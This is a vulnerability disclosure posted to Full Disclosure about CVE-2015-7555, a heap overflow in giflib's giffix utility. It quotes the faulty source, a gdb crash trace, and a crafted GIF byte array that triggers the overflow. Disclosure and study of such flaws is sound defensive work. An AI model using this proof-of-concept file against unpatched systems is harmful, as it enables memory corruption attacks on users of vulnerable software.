About ===== giflib[1] is a library for working with GIF images. It also provides several command-line utilities.
CVE-2015-7555 ============= A heap overflow may occur in the giffix utility included in giflib-5.1.1 when processing records of the type `IMAGE_DESC_RECORD_TYPE' due to the allocated size of `LineBuffer' equaling the value of the logical screen width, `GifFileIn->SWidth', while subsequently having `GifFileIn->Image.Width' bytes of data written to it. giflib-5.1.1/util/giffix.c #35..194: ,---- | int main(int argc, char **argv) | { | [...] | if ((LineBuffer = (GifRowType) malloc(GifFileIn->SWidth)) == NULL) | GIF_EXIT("Failed to allocate memory required, aborted."); | | /* Scan the content of the GIF file and load the image(s) in: */ | do { | [...] | switch (RecordType) { | case IMAGE_DESC_RECORD_TYPE: | if (DGifGetImageDesc(GifFileIn) == GIF_ERROR) | QuitGifError(GifFileIn, GifFileOut); | [...] | Width = GifFileIn->Image.Width; | Height = GifFileIn->Image.Height; | [...] | /* Find the darkest color in color map to use as a filler. */ | ColorMap = (GifFileIn->Image.ColorMap ? GifFileIn->Image.ColorMap : | GifFileIn->SColorMap); | for (i = 0; i < ColorMap->ColorCount; i++) { | j = ((int) ColorMap->Colors[i].Red) * 30 + | ((int) ColorMap->Colors[i].Green) * 59 + | ((int) ColorMap->Colors[i].Blue) * 11; | if (j < ColorIntens) { | ColorIntens = j; | DarkestColor = i; | } | } | | /* Load the image, and dump it. */ | for (i = 0; i < Height; i++) { | GifQprintf("\b\b\b\b%-4d", i); | if (DGifGetLine(GifFileIn, LineBuffer, Width) | == GIF_ERROR) break; | if (EGifPutLine(GifFileOut, LineBuffer, Width) | == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut); | } | | if (i < Height) { | [...] | /* Fill in with the darkest color in color map. */ | for (j = 0; j < Width; j++) | LineBuffer[j] = DarkestColor; | for (; i < Height; i++) | if (EGifPutLine(GifFileOut, LineBuffer, Width) | == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut); | } | break; | [...] | } | } | while (RecordType != TERMINATE_RECORD_TYPE); | [...] | } `---- ,---- | $ gdb -q --args ./giffix heap.gif | Reading symbols from ./giffix...done. | (gdb) b util/giffix.c:94 | Breakpoint 1 at 0x401131: file giffix.c, line 94. | (gdb) b util/giffix.c:148 | Breakpoint 2 at 0x401449: file giffix.c, line 148. | (gdb) b util/giffix.c:149 | Breakpoint 3 at 0x401452: file giffix.c, line 149. | | (gdb) commands 3 | Type commands for breakpoint(s) 3, one per line. | End with a line saying just "end". | >printf "%p, 0x%02x\n", LineBuffer+j, DarkestColor | >c | >end | | (gdb) r | [...] | Breakpoint 1, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:94 | 94 if ((LineBuffer = (GifRowType) malloc(GifFileIn->SWidth)) == NULL) | | (gdb) p GifFileIn->SWidth | $1 = 1 | | (gdb) c | [...] | Breakpoint 2, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:148 | 148 for (j = 0; j < Width; j++) | | (gdb) p Width | $2 = 255 | | (gdb) c | Continuing. | | Breakpoint 3, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:149 | 149 LineBuffer[j] = DarkestColor; | 0x618920, 0x01 | | [...] | | Breakpoint 3, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:149 | 149 LineBuffer[j] = DarkestColor; | 0x618940, 0x01 | | [...] | | Breakpoint 3, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:149 | 149 LineBuffer[j] = DarkestColor; | 0x618a1e, 0x01 | | Program received signal SIGSEGV, Segmentation fault. | 0x00007ffff7bd8658 in GifFreeMapObject (Object=0x101010101010101) at gifalloc.c:80 | 80 (void)free(Object->Colors); `---- heap.gif: ,---- | unsigned char heap[] = { | /* GIF87a */ | 0x47, 0x49, 0x46, 0x38, 0x37, 0x61, | | /* DGifGetScreenDesc() */ | 0x01, 0x00, /* GifFile->SWidth */ | 0x01, 0x00, /* GifFile->SHeight */ | 0x80, /* ColorCount = 1 << ((this & 0x07) + 1) */ | 0x00, /* GifFile->SBackGroundColor */ | 0x00, /* GifFile->AspectByte */ | 0x11, 0x11, 0x11, /* GifFile->SColorMap->Colors[0] */ | 0x00, 0x00, 0x00, /* GifFile->SColorMap->Colors[1] */ | | /* DGifGetRecordType() */ | 0x2c, /* DESCRIPTOR_INTRODUCER */ | | /* DGifGetImageDesc() */ | 0x00, 0x00, /* GifFile->Image.Left */ | 0x00, 0x00, /* GifFile->Image.Top */ | 0xff, 0x00, /* GifFile->Image.Width */ | 0x01, 0x00, /* GifFile->Image.Height */ | 0x00, /* BitsPerPixel = (this & 0x07) + 1 */ | | /* DGifSetupDecompress() */ | 0x00, /* CodeSize */ | | /* end of image data */ | 0x00, | | /* end of gif */ | 0x3b | }; `---- Solution ======== No fix exists as of yet. Footnotes _________ [1] [http://giflib.sourceforge.net/] Hans Jerry Illikainen _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/